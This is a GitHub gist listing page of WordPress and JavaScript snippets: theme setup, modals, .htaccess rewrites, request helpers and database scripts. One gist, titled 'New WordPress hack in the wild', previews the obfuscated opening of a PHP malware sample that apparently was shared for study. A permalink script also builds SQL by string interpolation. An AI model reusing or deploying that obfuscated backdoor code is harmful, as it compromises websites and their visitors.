Skip to content

Instantly share code, notes, and snippets.

@k1sul1
k1sul1 / functions.php.example
Last active October 6, 2016 13:14
Sample functions.php for getting started when creating a WordPress theme from scratch.
add_action('after_setup_theme', function() {
add_theme_support('title-tag');
add_theme_support('post-thumbnails');
add_theme_support('html5', array(
'search-form',
// 'comment-form', // disabled because WP adds a "novalidate" attr on the form that is unfilterable.
'comment-list',
'gallery',
'caption',
));
@k1sul1
k1sul1 / modals.js
Last active September 23, 2016 11:17
VanillaJS css animated modals. http://jsbin.com/difozaxobo/
import {
runOnce
} from './runOnce.js';
export function openModal(element = undefined) {
const modalWrapper = element instanceof HTMLElement ? element : document.querySelector('.modal');
const actualModal = modalWrapper.children[0];
if (modalWrapper.classList.contains('transitionInProgress')) {
return false;
@k1sul1
k1sul1 / .htaccess
Created September 19, 2016 09:46
Serve Vue.js (vue-loader) project inside a WordPress installation as a subdirectory
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule ^static/(.*)$ /subfolder/static/$1 [R=301,NC,L] # magic line, rewrite requests to domain.com/static to domain.com/subfolder/static. Quite useful on locked webhosts.
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
@k1sul1
k1sul1 / getRegion.js
Last active September 9, 2016 10:13
ES6 function to asynchronously get user region by IP.
import Cookies from 'cookies-js';
export function getRegion() {
return new Promise((resolve, reject) => {
function deg2rad(deg) {
return deg * (Math.PI / 180);
}
function getDistanceFromLatLonInKm(lat1, lon1, lat2, lon2) {
const R = 6371; // Radius of the earth in km
@k1sul1
k1sul1 / index.php
Created August 26, 2016 11:06 — forked from anttiviljami/index.php
New WordPress hack in the wild
<?php
//header('Content-Type:text/html; charset=utf-8');
$O0_0O0_O_O = 'J6Pn2HmH0e568SXnR6KRkmP5tQbh7KEW';
$OOO0_0_O_0 = 'mazama2648';
$OO00O_O0__ = 1639;
$O0O00__OO_ = 'B/A/C_rimu-molasses/laudanidine/D-E/';
$O0OOO_00__ = 233;
$O0O0_0O__O = 1;
$O__00_OO0O = array("coenenchyma", "disinfestation", "causable", "intercept", "antirattler", "inveracity", "forgery", "errantly", "beaverboard", "hemoglobinocholia", "hibito", "affination", "gourde", "fustic", "acroceraunian", "battleship", "areotectonics", "inflexibility", "hymnodical", "monticoline", "canny", "exilement", "leasehold", "metastasis", "absorbency");;
$O0_00OO__O = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
@k1sul1
k1sul1 / request.js
Last active July 15, 2016 15:56
Handy helper function to help battle jQuery addiction. [ES6]
export function request(options = {}){
// Usage:
// request({
// url: "example.com",
// data: document.querySelector("form"), //FormData-object or form element
// method: "POST",
// headers: {key: "value"},
// success: function(response, status){},
// error: function(error, status){},
@k1sul1
k1sul1 / rnb-shortcode-helpers.php
Created July 11, 2016 09:36
Get all shortcodes in a chunk of text and replace them in place using these two functions
<?php
class rnb {
function __construct() {
// nothing here.
}
// insert loads of functions here
@k1sul1
k1sul1 / sticky-post-navigation.js
Created April 18, 2016 15:39
Dynamic post navigation that sticks around. jQuery-free.
window.$ = function (selector){
return Array.prototype.slice.call(document.querySelectorAll(selector));
};
window.getOffset = function(el) {
el = el.getBoundingClientRect();
return {
left: el.left + window.scrollX,
top: el.top + window.scrollY
};
@k1sul1
k1sul1 / wp-fix-post-permalinks.php
Created March 30, 2016 11:06
wp-fix-post-permalinks.php
<?php
global $wpdb;
$threads = $wpdb->get_results("SELECT ID, post_title, post_name FROM wp_posts WHERE post_type = 'topic'");
foreach($threads as $thread){
$sanitized_title = sanitize_title($thread->post_title);
$id = $thread->ID;
$wpdb->query("UPDATE wp_posts SET post_name = '$sanitized_title' WHERE ID = $id");
var fs = require("fs");
var mysql = require("mysql");
var async = require("async");
var filename = process.argv[2];
// NOTE: This is shaped to a very spesific format of json, you have to adjust each function to suit your format.
var db = mysql.createConnection({
host: "localhost",
user: "user",